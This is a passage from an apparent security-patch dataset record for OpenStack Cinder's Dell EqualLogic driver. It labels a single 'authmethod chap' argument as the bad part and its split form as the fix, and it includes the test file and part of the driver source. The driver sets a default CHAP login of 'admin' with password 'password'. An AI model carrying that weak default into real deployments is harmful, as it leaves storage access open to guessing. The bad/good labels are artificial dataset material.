'access',\n 'create', 'initiator',\n self.connector['initiator'],\n- 'authmethod chap',\n+ 'authmethod', 'chap',\n 'username',\n self.configuration.eqlx_chap_login)\n self.mox.ReplayAll()", "add": 1, "remove": 1, "filename": "/cinder/tests/test_eqlx.py", "badparts": [" 'authmethod chap',"], "goodparts": [" 'authmethod', 'chap',"]}], "source": "\n import time import mox import paramiko from cinder import context from cinder import exception from cinder.openstack.common import log as logging from cinder.openstack.common import processutils from cinder import test from cinder.volume import configuration as conf from cinder.volume.drivers import eqlx LOG=logging.getLogger(__name__) class DellEQLSanISCSIDriverTestCase(test.TestCase): def setUp(self): super(DellEQLSanISCSIDriverTestCase, self).setUp() self.configuration=mox.MockObject(conf.Configuration) self.configuration.append_config_values(mox.IgnoreArg()) self.configuration.san_is_local=False self.configuration.san_ip=\"10.0.0.1\" self.configuration.san_login=\"foo\" self.configuration.san_password=\"bar\" self.configuration.san_ssh_port=16022 self.configuration.san_thin_provision=True self.configuration.eqlx_pool='non-default' self.configuration.eqlx_use_chap=True self.configuration.eqlx_group_name='group-0' self.configuration.eqlx_cli_timeout=30 self.configuration.eqlx_cli_max_retries=5 self.configuration.eqlx_chap_login='admin' self.configuration.eqlx_chap_password='password' self.configuration.volume_name_template='volume_%s' self._context=context.get_admin_context() self.driver=eqlx.DellEQLSanISCSIDriver( configuration=self.configuration) self.volume_name=\"fakevolume\" self.volid=\"fakeid\" self.connector={'ip': '10.0.0.2', 'initiator': 'iqn.1993-08.org.debian:01:222', 'host': 'fakehost'} self.fake_iqn='iqn.2003-10.com.equallogic:group01:25366:fakev' self.driver._group_ip='10.0.1.6' self.properties={ 'target_discoverd': True, 'target_portal': '%s:3260' % self.driver._group_ip, 'target_iqn': self.fake_iqn, 'volume_id': 1} self._model_update={ 'provider_location': \"%s:3260,1 %s 0\" %(self.driver._group_ip, self.fake_iqn), 'provider_auth': 'CHAP %s %s' %( self.configuration.eqlx_chap_login, self.configuration.eqlx_chap_password) } def _fake_get_iscsi_properties(self, volume): return self.properties def test_create_volume(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name, 'size': 1} self.driver._eql_execute('volume', 'create', volume['name'], \"%sG\" %(volume['size']), 'pool', self.configuration.eqlx_pool, 'thin-provision').\\ AndReturn(['iSCSI target name is %s.' % self.fake_iqn]) self.mox.ReplayAll() model_update=self.driver.create_volume(volume) self.assertEqual(model_update, self._model_update) def test_delete_volume(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name, 'size': 1} self.driver._eql_execute('volume', 'select', volume['name'], 'show') self.driver._eql_execute('volume', 'select', volume['name'], 'offline') self.driver._eql_execute('volume', 'delete', volume['name']) self.mox.ReplayAll() self.driver.delete_volume(volume) def test_delete_absent_volume(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name, 'size': 1, 'id': self.volid} self.driver._eql_execute('volume', 'select', volume['name'], 'show').\\ AndRaise(processutils.ProcessExecutionError( stdout='% Error..... does not exist.\\n')) self.mox.ReplayAll() self.driver.delete_volume(volume) def test_ensure_export(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name, 'size': 1} self.driver._eql_execute('volume', 'select', volume['name'], 'show') self.mox.ReplayAll() self.driver.ensure_export({}, volume) def test_create_snapshot(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) snapshot={'name': 'fakesnap', 'volume_name': 'fakevolume_name'} snap_name='fake_snap_name' self.driver._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'create-now').\\ AndReturn(['Snapshot name is %s' % snap_name]) self.driver._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'rename', snap_name, snapshot['name']) self.mox.ReplayAll() self.driver.create_snapshot(snapshot) def test_create_volume_from_snapshot(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) snapshot={'name': 'fakesnap', 'volume_name': 'fakevolume_name'} volume={'name': self.volume_name} self.driver._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'select', snapshot['name'], 'clone', volume['name']).\\ AndReturn(['iSCSI target name is %s.' % self.fake_iqn]) self.mox.ReplayAll() model_update=self.driver.create_volume_from_snapshot(volume, snapshot) self.assertEqual(model_update, self._model_update) def test_create_cloned_volume(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) src_vref={'id': 'fake_uuid'} volume={'name': self.volume_name} src_volume_name=self.configuration.\\ volume_name_template % src_vref['id'] self.driver._eql_execute('volume', 'select', src_volume_name, 'clone', volume['name']).\\ AndReturn(['iSCSI target name is %s.' % self.fake_iqn]) self.mox.ReplayAll() model_update=self.driver.create_cloned_volume(volume, src_vref) self.assertEqual(model_update, self._model_update) def test_delete_snapshot(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) snapshot={'name': 'fakesnap', 'volume_name': 'fakevolume_name'} self.driver._eql_execute('volume', 'select', snapshot['volume_name'], 'snapshot', 'delete', snapshot['name']) self.mox.ReplayAll() self.driver.delete_snapshot(snapshot) def test_extend_volume(self): new_size='200' self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name, 'size': 100} self.driver._eql_execute('volume', 'select', volume['name'], 'size', \"%sG\" % new_size) self.mox.ReplayAll() self.driver.extend_volume(volume, new_size) def test_initialize_connection(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name} self.stubs.Set(self.driver, \"_get_iscsi_properties\", self._fake_get_iscsi_properties) self.driver._eql_execute('volume', 'select', volume['name'], 'access', 'create', 'initiator', self.connector['initiator'], 'authmethod chap', 'username', self.configuration.eqlx_chap_login) self.mox.ReplayAll() iscsi_properties=self.driver.initialize_connection(volume, self.connector) self.assertEqual(iscsi_properties['data'], self._fake_get_iscsi_properties(volume)) def test_terminate_connection(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) volume={'name': self.volume_name} self.driver._eql_execute('volume', 'select', volume['name'], 'access', 'delete', '1') self.mox.ReplayAll() self.driver.terminate_connection(volume, self.connector) def test_do_setup(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) fake_group_ip='10.1.2.3' for feature in('confirmation', 'paging', 'events', 'formatoutput'): self.driver._eql_execute('cli-settings', feature, 'off') self.driver._eql_execute('grpparams', 'show').\\ AndReturn(['Group-Ipaddress: %s' % fake_group_ip]) self.mox.ReplayAll() self.driver.do_setup(self._context) self.assertEqual(fake_group_ip, self.driver._group_ip) def test_update_volume_stats(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) self.driver._eql_execute('pool', 'select', self.configuration.eqlx_pool, 'show').\\ AndReturn(['TotalCapacity: 111GB', 'FreeSpace: 11GB']) self.mox.ReplayAll() self.driver._update_volume_stats() self.assertEqual(self.driver._stats['total_capacity_gb'], 111.0) self.assertEqual(self.driver._stats['free_capacity_gb'], 11.0) def test_get_volume_stats(self): self.driver._eql_execute=self.mox.\\ CreateMock(self.driver._eql_execute) self.driver._eql_execute('pool', 'select', self.configuration.eqlx_pool, 'show').\\ AndReturn(['TotalCapacity: 111GB', 'FreeSpace: 11GB']) self.mox.ReplayAll() stats=self.driver.get_volume_stats(refresh=True) self.assertEqual(stats['total_capacity_gb'], float('111.0')) self.assertEqual(stats['free_capacity_gb'], float('11.0')) self.assertEqual(stats['vendor_name'], 'Dell') def test_get_space_in_gb(self): self.assertEqual(self.driver._get_space_in_gb('123.0GB'), 123.0) self.assertEqual(self.driver._get_space_in_gb('123.0TB'), 123.0 * 1024) self.assertEqual(self.driver._get_space_in_gb('1024.0MB'), 1.0) def test_get_output(self): def _fake_recv(ignore_arg): return '%s> ' % self.configuration.eqlx_group_name chan=self.mox.CreateMock(paramiko.Channel) self.stubs.Set(chan, \"recv\", _fake_recv) self.assertEqual(self.driver._get_output(chan),[_fake_recv(None)]) def test_get_prefixed_value(self): lines=['Line1 passed', 'Line1 failed'] prefix=['Line1', 'Line2'] expected_output=[' passed', None] self.assertEqual(self.driver._get_prefixed_value(lines, prefix[0]), expected_output[0]) self.assertEqual(self.driver._get_prefixed_value(lines, prefix[1]), expected_output[1]) def test_ssh_execute(self): ssh=self.mox.CreateMock(paramiko.SSHClient) chan=self.mox.CreateMock(paramiko.Channel) transport=self.mox.CreateMock(paramiko.Transport) self.mox.StubOutWithMock(self.driver, '_get_output') self.mox.StubOutWithMock(chan, 'invoke_shell') expected_output=['NoError: test run'] ssh.get_transport().AndReturn(transport) transport.open_session().AndReturn(chan) chan.invoke_shell() self.driver._get_output(chan).AndReturn(expected_output) cmd='this is dummy command' chan.send('stty columns 255' +'\\r') self.driver._get_output(chan).AndReturn(expected_output) chan.send(cmd +'\\r') self.driver._get_output(chan).AndReturn(expected_output) chan.close() self.mox.ReplayAll() self.assertEqual(self.driver._ssh_execute(ssh, cmd), expected_output) def test_ssh_execute_error(self): ssh=self.mox.CreateMock(paramiko.SSHClient) chan=self.mox.CreateMock(paramiko.Channel) transport=self.mox.CreateMock(paramiko.Transport) self.mox.StubOutWithMock(self.driver, '_get_output') self.mox.StubOutWithMock(ssh, 'get_transport') self.mox.StubOutWithMock(chan, 'invoke_shell') expected_output=['Error: test run', '% Error'] ssh.get_transport().AndReturn(transport) transport.open_session().AndReturn(chan) chan.invoke_shell() self.driver._get_output(chan).AndReturn(expected_output) cmd='this is dummy command' chan.send('stty columns 255' +'\\r') self.driver._get_output(chan).AndReturn(expected_output) chan.send(cmd +'\\r') self.driver._get_output(chan).AndReturn(expected_output) chan.close() self.mox.ReplayAll() self.assertRaises(processutils.ProcessExecutionError, self.driver._ssh_execute, ssh, cmd) def test_with_timeout(self): @eqlx.with_timeout def no_timeout(cmd, *args, **kwargs): return 'no timeout' @eqlx.with_timeout def w_timeout(cmd, *args, **kwargs): time.sleep(1) self.assertEqual(no_timeout('fake cmd'), 'no timeout') self.assertRaises(exception.VolumeBackendAPIException, w_timeout, 'fake cmd', timeout=0.1) def test_local_path(self): self.assertRaises(NotImplementedError, self.driver.local_path, '') ", "sourceWithComments": "# Copyright (c) 2013 Dell Inc.\n# Copyright 2013 OpenStack LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport time\n\nimport mox\nimport paramiko\n\nfrom cinder import context\nfrom cinder import exception\nfrom cinder.openstack.common import log as logging\nfrom cinder.openstack.common import processutils\nfrom cinder import test\nfrom cinder.volume import configuration as conf\nfrom cinder.volume.drivers import eqlx\n\n\nLOG = logging.getLogger(__name__)\n\n\nclass DellEQLSanISCSIDriverTestCase(test.TestCase):\n\n def setUp(self):\n super(DellEQLSanISCSIDriverTestCase, self).setUp()\n self.configuration = mox.MockObject(conf.Configuration)\n self.configuration.append_config_values(mox.IgnoreArg())\n self.configuration.san_is_local = False\n self.configuration.san_ip = \"10.0.0.1\"\n self.configuration.san_login = \"foo\"\n self.configuration.san_password = \"bar\"\n self.configuration.san_ssh_port = 16022\n self.configuration.san_thin_provision = True\n self.configuration.eqlx_pool = 'non-default'\n self.configuration.eqlx_use_chap = True\n self.configuration.eqlx_group_name = 'group-0'\n self.configuration.eqlx_cli_timeout = 30\n self.configuration.eqlx_cli_max_retries = 5\n self.configuration.eqlx_chap_login = 'admin'\n self.configuration.eqlx_chap_password = 'password'\n self.configuration.volume_name_template = 'volume_%s'\n self._context = context.get_admin_context()\n self.driver = eqlx.DellEQLSanISCSIDriver(\n configuration=self.configuration)\n self.volume_name = \"fakevolume\"\n self.volid = \"fakeid\"\n self.connector = {'ip': '10.0.0.2',\n 'initiator': 'iqn.1993-08.org.debian:01:222',\n 'host': 'fakehost'}\n self.fake_iqn = 'iqn.2003-10.com.equallogic:group01:25366:fakev'\n self.driver._group_ip = '10.0.1.6'\n self.properties = {\n 'target_discoverd': True,\n 'target_portal': '%s:3260' % self.driver._group_ip,\n 'target_iqn': self.fake_iqn,\n 'volume_id': 1}\n self._model_update = {\n 'provider_location': \"%s:3260,1 %s 0\" % (self.driver._group_ip,\n self.fake_iqn),\n 'provider_auth': 'CHAP %s %s' % (\n self.configuration.eqlx_chap_login,\n self.configuration.eqlx_chap_password)\n }\n\n def _fake_get_iscsi_properties(self, volume):\n return self.properties\n\n def test_create_volume(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name, 'size': 1}\n self.driver._eql_execute('volume', 'create', volume['name'],\n \"%sG\" % (volume['size']), 'pool',\n self.configuration.eqlx_pool,\n 'thin-provision').\\\n AndReturn(['iSCSI target name is %s.' % self.fake_iqn])\n self.mox.ReplayAll()\n model_update = self.driver.create_volume(volume)\n self.assertEqual(model_update, self._model_update)\n\n def test_delete_volume(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name, 'size': 1}\n self.driver._eql_execute('volume', 'select', volume['name'], 'show')\n self.driver._eql_execute('volume', 'select', volume['name'], 'offline')\n self.driver._eql_execute('volume', 'delete', volume['name'])\n self.mox.ReplayAll()\n self.driver.delete_volume(volume)\n\n def test_delete_absent_volume(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name, 'size': 1, 'id': self.volid}\n self.driver._eql_execute('volume', 'select', volume['name'], 'show').\\\n AndRaise(processutils.ProcessExecutionError(\n stdout='% Error ..... does not exist.\\n'))\n self.mox.ReplayAll()\n self.driver.delete_volume(volume)\n\n def test_ensure_export(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name, 'size': 1}\n self.driver._eql_execute('volume', 'select', volume['name'], 'show')\n self.mox.ReplayAll()\n self.driver.ensure_export({}, volume)\n\n def test_create_snapshot(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n snapshot = {'name': 'fakesnap', 'volume_name': 'fakevolume_name'}\n snap_name = 'fake_snap_name'\n self.driver._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'create-now').\\\n AndReturn(['Snapshot name is %s' % snap_name])\n self.driver._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'rename', snap_name,\n snapshot['name'])\n self.mox.ReplayAll()\n self.driver.create_snapshot(snapshot)\n\n def test_create_volume_from_snapshot(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n snapshot = {'name': 'fakesnap', 'volume_name': 'fakevolume_name'}\n volume = {'name': self.volume_name}\n self.driver._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'select', snapshot['name'],\n 'clone', volume['name']).\\\n AndReturn(['iSCSI target name is %s.' % self.fake_iqn])\n self.mox.ReplayAll()\n model_update = self.driver.create_volume_from_snapshot(volume,\n snapshot)\n self.assertEqual(model_update, self._model_update)\n\n def test_create_cloned_volume(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n src_vref = {'id': 'fake_uuid'}\n volume = {'name': self.volume_name}\n src_volume_name = self.configuration.\\\n volume_name_template % src_vref['id']\n self.driver._eql_execute('volume', 'select', src_volume_name, 'clone',\n volume['name']).\\\n AndReturn(['iSCSI target name is %s.' % self.fake_iqn])\n self.mox.ReplayAll()\n model_update = self.driver.create_cloned_volume(volume, src_vref)\n self.assertEqual(model_update, self._model_update)\n\n def test_delete_snapshot(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n snapshot = {'name': 'fakesnap', 'volume_name': 'fakevolume_name'}\n self.driver._eql_execute('volume', 'select', snapshot['volume_name'],\n 'snapshot', 'delete', snapshot['name'])\n self.mox.ReplayAll()\n self.driver.delete_snapshot(snapshot)\n\n def test_extend_volume(self):\n new_size = '200'\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name, 'size': 100}\n self.driver._eql_execute('volume', 'select', volume['name'],\n 'size', \"%sG\" % new_size)\n self.mox.ReplayAll()\n self.driver.extend_volume(volume, new_size)\n\n def test_initialize_connection(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name}\n self.stubs.Set(self.driver, \"_get_iscsi_properties\",\n self._fake_get_iscsi_properties)\n self.driver._eql_execute('volume', 'select', volume['name'], 'access',\n 'create', 'initiator',\n self.connector['initiator'],\n 'authmethod chap',\n 'username',\n self.configuration.eqlx_chap_login)\n self.mox.ReplayAll()\n iscsi_properties = self.driver.initialize_connection(volume,\n self.connector)\n self.assertEqual(iscsi_properties['data'],\n self._fake_get_iscsi_properties(volume))\n\n def test_terminate_connection(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n volume = {'name': self.volume_name}\n self.driver._eql_execute('volume', 'select', volume['name'], 'access',\n 'delete', '1')\n self.mox.ReplayAll()\n self.driver.terminate_connection(volume, self.connector)\n\n def test_do_setup(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n fake_group_ip = '10.1.2.3'\n for feature in ('confirmation', 'paging', 'events', 'formatoutput'):\n self.driver._eql_execute('cli-settings', feature, 'off')\n self.driver._eql_execute('grpparams', 'show').\\\n AndReturn(['Group-Ipaddress: %s' % fake_group_ip])\n self.mox.ReplayAll()\n self.driver.do_setup(self._context)\n self.assertEqual(fake_group_ip, self.driver._group_ip)\n\n def test_update_volume_stats(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n self.driver._eql_execute('pool', 'select',\n self.configuration.eqlx_pool, 'show').\\\n AndReturn(['TotalCapacity: 111GB', 'FreeSpace: 11GB'])\n self.mox.ReplayAll()\n self.driver._update_volume_stats()\n self.assertEqual(self.driver._stats['total_capacity_gb'], 111.0)\n self.assertEqual(self.driver._stats['free_capacity_gb'], 11.0)\n\n def test_get_volume_stats(self):\n self.driver._eql_execute = self.mox.\\\n CreateMock(self.driver._eql_execute)\n self.driver._eql_execute('pool', 'select',\n self.configuration.eqlx_pool, 'show').\\\n AndReturn(['TotalCapacity: 111GB', 'FreeSpace: 11GB'])\n self.mox.ReplayAll()\n stats = self.driver.get_volume_stats(refresh=True)\n self.assertEqual(stats['total_capacity_gb'], float('111.0'))\n self.assertEqual(stats['free_capacity_gb'], float('11.0'))\n self.assertEqual(stats['vendor_name'], 'Dell')\n\n def test_get_space_in_gb(self):\n self.assertEqual(self.driver._get_space_in_gb('123.0GB'), 123.0)\n self.assertEqual(self.driver._get_space_in_gb('123.0TB'), 123.0 * 1024)\n self.assertEqual(self.driver._get_space_in_gb('1024.0MB'), 1.0)\n\n def test_get_output(self):\n\n def _fake_recv(ignore_arg):\n return '%s> ' % self.configuration.eqlx_group_name\n\n chan = self.mox.CreateMock(paramiko.Channel)\n self.stubs.Set(chan, \"recv\", _fake_recv)\n self.assertEqual(self.driver._get_output(chan), [_fake_recv(None)])\n\n def test_get_prefixed_value(self):\n lines = ['Line1 passed', 'Line1 failed']\n prefix = ['Line1', 'Line2']\n expected_output = [' passed', None]\n self.assertEqual(self.driver._get_prefixed_value(lines, prefix[0]),\n expected_output[0])\n self.assertEqual(self.driver._get_prefixed_value(lines, prefix[1]),\n expected_output[1])\n\n def test_ssh_execute(self):\n ssh = self.mox.CreateMock(paramiko.SSHClient)\n chan = self.mox.CreateMock(paramiko.Channel)\n transport = self.mox.CreateMock(paramiko.Transport)\n self.mox.StubOutWithMock(self.driver, '_get_output')\n self.mox.StubOutWithMock(chan, 'invoke_shell')\n expected_output = ['NoError: test run']\n ssh.get_transport().AndReturn(transport)\n transport.open_session().AndReturn(chan)\n chan.invoke_shell()\n self.driver._get_output(chan).AndReturn(expected_output)\n cmd = 'this is dummy command'\n chan.send('stty columns 255' + '\\r')\n self.driver._get_output(chan).AndReturn(expected_output)\n chan.send(cmd + '\\r')\n self.driver._get_output(chan).AndReturn(expected_output)\n chan.close()\n self.mox.ReplayAll()\n self.assertEqual(self.driver._ssh_execute(ssh, cmd), expected_output)\n\n def test_ssh_execute_error(self):\n ssh = self.mox.CreateMock(paramiko.SSHClient)\n chan = self.mox.CreateMock(paramiko.Channel)\n transport = self.mox.CreateMock(paramiko.Transport)\n self.mox.StubOutWithMock(self.driver, '_get_output')\n self.mox.StubOutWithMock(ssh, 'get_transport')\n self.mox.StubOutWithMock(chan, 'invoke_shell')\n expected_output = ['Error: test run', '% Error']\n ssh.get_transport().AndReturn(transport)\n transport.open_session().AndReturn(chan)\n chan.invoke_shell()\n self.driver._get_output(chan).AndReturn(expected_output)\n cmd = 'this is dummy command'\n chan.send('stty columns 255' + '\\r')\n self.driver._get_output(chan).AndReturn(expected_output)\n chan.send(cmd + '\\r')\n self.driver._get_output(chan).AndReturn(expected_output)\n chan.close()\n self.mox.ReplayAll()\n self.assertRaises(processutils.ProcessExecutionError,\n self.driver._ssh_execute, ssh, cmd)\n\n def test_with_timeout(self):\n @eqlx.with_timeout\n def no_timeout(cmd, *args, **kwargs):\n return 'no timeout'\n\n @eqlx.with_timeout\n def w_timeout(cmd, *args, **kwargs):\n time.sleep(1)\n\n self.assertEqual(no_timeout('fake cmd'), 'no timeout')\n self.assertRaises(exception.VolumeBackendAPIException,\n w_timeout, 'fake cmd', timeout=0.1)\n\n def test_local_path(self):\n self.assertRaises(NotImplementedError, self.driver.local_path, '')\n"}, "/cinder/volume/drivers/eqlx.py": {"changes": [{"diff": "\n cmd = ['volume', 'select', volume['name'], 'access', 'create',\n 'initiator', connector['initiator']]\n if self.configuration.eqlx_use_chap:\n- cmd.extend(['authmethod chap', 'username',\n+ cmd.extend(['authmethod', 'chap', 'username',\n self.configuration.eqlx_chap_login])\n self._eql_execute(*cmd)\n iscsi_properties = self._get_iscsi_properties(volume)\n", "add": 1, "remove": 1, "filename": "/cinder/volume/drivers/eqlx.py", "badparts": [" cmd.extend(['authmethod chap', 'username',"], "goodparts": [" cmd.extend(['authmethod', 'chap', 'username',"]}], "source": "\n \"\"\"Volume driver for Dell EqualLogic Storage.\"\"\" import functools import random import eventlet from eventlet import greenthread import greenlet from oslo.config import cfg from cinder import exception from cinder.openstack.common import excutils from cinder.openstack.common import log as logging from cinder.openstack.common import processutils from cinder import utils from cinder.volume.drivers.san import SanISCSIDriver LOG=logging.getLogger(__name__) eqlx_opts=[ cfg.StrOpt('eqlx_group_name', default='group-0', help='Group name to use for creating volumes'), cfg.IntOpt('eqlx_cli_timeout', default=30, help='Timeout for the Group Manager cli command execution'), cfg.IntOpt('eqlx_cli_max_retries', default=5, help='Maximum retry count for reconnection'), cfg.BoolOpt('eqlx_use_chap', default=False, help='Use CHAP authentication for targets?'), cfg.StrOpt('eqlx_chap_login', default='admin', help='Existing CHAP account name'), cfg.StrOpt('eqlx_chap_password', default='password', help='Password for specified CHAP account name', secret=True), cfg.StrOpt('eqlx_pool', default='default', help='Pool in which volumes will be created') ] CONF=cfg.CONF CONF.register_opts(eqlx_opts) def with_timeout(f): @functools.wraps(f) def __inner(self, *args, **kwargs): timeout=kwargs.pop('timeout', None) gt=eventlet.spawn(f, self, *args, **kwargs) if timeout is None: return gt.wait() else: kill_thread=eventlet.spawn_after(timeout, gt.kill) try: res=gt.wait() except greenlet.GreenletExit: raise exception.VolumeBackendAPIException( data=\"Command timed out\") else: kill_thread.cancel() return res return __inner class DellEQLSanISCSIDriver(SanISCSIDriver): \"\"\"Implements commands for Dell EqualLogic SAN ISCSI management. To enable the driver add the following line to the cinder configuration: volume_driver=cinder.volume.drivers.eqlx.DellEQLSanISCSIDriver Driver's prerequisites are: -a separate volume group set up and running on the SAN -SSH access to the SAN -a special user must be created which must be able to -create/delete volumes and snapshots; -clone snapshots into volumes; -modify volume access records; The access credentials to the SAN are provided by means of the following flags san_ip= san_login= san_password= san_private_key= Thin provision of volumes is enabled by default, to disable it use: san_thin_provision=false In order to use target CHAP authentication(which is disabled by default) SAN administrator must create a local CHAP user and specify the following flags for the driver: eqlx_use_chap=true eqlx_chap_login= eqlx_chap_password= eqlx_group_name parameter actually represents the CLI prompt message without '>' ending. E.g. if prompt looks like 'group-0>', then the parameter must be set to 'group-0' Also, the default CLI command execution timeout is 30 secs. Adjustable by eqlx_cli_timeout= \"\"\" VERSION=\"1.0.0\" def __init__(self, *args, **kwargs): super(DellEQLSanISCSIDriver, self).__init__(*args, **kwargs) self.configuration.append_config_values(eqlx_opts) self._group_ip=None self.sshpool=None def _get_output(self, chan): out='' ending='%s> ' % self.configuration.eqlx_group_name while not out.endswith(ending): out +=chan.recv(102400) LOG.debug(_(\"CLI output\\n%s\"), out) return out.splitlines() def _get_prefixed_value(self, lines, prefix): for line in lines: if line.startswith(prefix): return line[len(prefix):] return @with_timeout def _ssh_execute(self, ssh, command, *arg, **kwargs): transport=ssh.get_transport() chan=transport.open_session() chan.invoke_shell() LOG.debug(_(\"Reading CLI MOTD\")) self._get_output(chan) cmd='stty columns 255' LOG.debug(_(\"Setting CLI terminal width: '%s'\"), cmd) chan.send(cmd +'\\r') out=self._get_output(chan) LOG.debug(_(\"Sending CLI command: '%s'\"), command) chan.send(command +'\\r') out=self._get_output(chan) chan.close() if any(line.startswith(('% Error', 'Error:')) for line in out): desc=_(\"Error executing EQL command\") cmdout='\\n'.join(out) LOG.error(cmdout) raise processutils.ProcessExecutionError( stdout=cmdout, cmd=command, description=desc) return out def _run_ssh(self, cmd_list, attempts=1): utils.check_ssh_injection(cmd_list) command=' '. join(cmd_list) if not self.sshpool: password=self.configuration.san_password privatekey=self.configuration.san_private_key min_size=self.configuration.ssh_min_pool_conn max_size=self.configuration.ssh_max_pool_conn self.sshpool=utils.SSHPool(self.configuration.san_ip, self.configuration.san_ssh_port, self.configuration.ssh_conn_timeout, self.configuration.san_login, password=password, privatekey=privatekey, min_size=min_size, max_size=max_size) try: total_attempts=attempts with self.sshpool.item() as ssh: while attempts > 0: attempts -=1 try: LOG.info(_('EQL-driver: executing \"%s\"') % command) return self._ssh_execute( ssh, command, timeout=self.configuration.eqlx_cli_timeout) except processutils.ProcessExecutionError: raise except Exception as e: LOG.exception(e) greenthread.sleep(random.randint(20, 500) / 100.0) msg=(_(\"SSH Command failed after '%(total_attempts)r' \" \"attempts: '%(command)s'\") % {'total_attempts': total_attempts, 'command': command}) raise exception.VolumeBackendAPIException(data=msg) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_(\"Error running SSH command: %s\") % command) def _eql_execute(self, *args, **kwargs): return self._run_ssh( args, attempts=self.configuration.eqlx_cli_max_retries) def _get_volume_data(self, lines): prefix='iSCSI target name is ' target_name=self._get_prefixed_value(lines, prefix)[:-1] lun_id=\"%s:%s,1 %s 0\" %(self._group_ip, '3260', target_name) model_update={} model_update['provider_location']=lun_id if self.configuration.eqlx_use_chap: model_update['provider_auth']='CHAP %s %s' % \\ (self.configuration.eqlx_chap_login, self.configuration.eqlx_chap_password) return model_update def _get_space_in_gb(self, val): scale=1.0 part='GB' if val.endswith('MB'): scale=1.0 / 1024 part='MB' elif val.endswith('TB'): scale=1.0 * 1024 part='TB' return scale * float(val.partition(part)[0]) def _update_volume_stats(self): \"\"\"Retrieve stats info from eqlx group.\"\"\" LOG.debug(_(\"Updating volume stats\")) data={} backend_name=\"eqlx\" if self.configuration: backend_name=self.configuration.safe_get('volume_backend_name') data[\"volume_backend_name\"]=backend_name or 'eqlx' data[\"vendor_name\"]='Dell' data[\"driver_version\"]=self.VERSION data[\"storage_protocol\"]='iSCSI' data['reserved_percentage']=0 data['QoS_support']=False data['total_capacity_gb']='infinite' data['free_capacity_gb']='infinite' for line in self._eql_execute('pool', 'select', self.configuration.eqlx_pool, 'show'): if line.startswith('TotalCapacity:'): out_tup=line.rstrip().partition(' ') data['total_capacity_gb']=self._get_space_in_gb(out_tup[-1]) if line.startswith('FreeSpace:'): out_tup=line.rstrip().partition(' ') data['free_capacity_gb']=self._get_space_in_gb(out_tup[-1]) self._stats=data def _check_volume(self, volume): \"\"\"Check if the volume exists on the Array.\"\"\" command=['volume', 'select', volume['name'], 'show'] try: self._eql_execute(*command) except processutils.ProcessExecutionError as err: with excutils.save_and_reraise_exception(): if err.stdout.find('does not exist.\\n') > -1: LOG.debug(_('Volume %s does not exist, ' 'it may have already been deleted'), volume['name']) raise exception.VolumeNotFound(volume_id=volume['id']) def do_setup(self, context): \"\"\"Disable cli confirmation and tune output format.\"\"\" try: disabled_cli_features=('confirmation', 'paging', 'events', 'formatoutput') for feature in disabled_cli_features: self._eql_execute('cli-settings', feature, 'off') for line in self._eql_execute('grpparams', 'show'): if line.startswith('Group-Ipaddress:'): out_tup=line.rstrip().partition(' ') self._group_ip=out_tup[-1] LOG.info(_(\"EQL-driver: Setup is complete, group IP is %s\"), self._group_ip) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to setup the Dell EqualLogic driver')) def create_volume(self, volume): \"\"\"Create a volume.\"\"\" try: cmd=['volume', 'create', volume['name'], \"%sG\" %(volume['size'])] if self.configuration.eqlx_pool !='default': cmd.append('pool') cmd.append(self.configuration.eqlx_pool) if self.configuration.san_thin_provision: cmd.append('thin-provision') out=self._eql_execute(*cmd) return self._get_volume_data(out) except Exception: with excutils.save_and_reraise_exception(): LOG.error(_('Failed to create volume %s'), volume['name']) def delete_volume(self, volume): 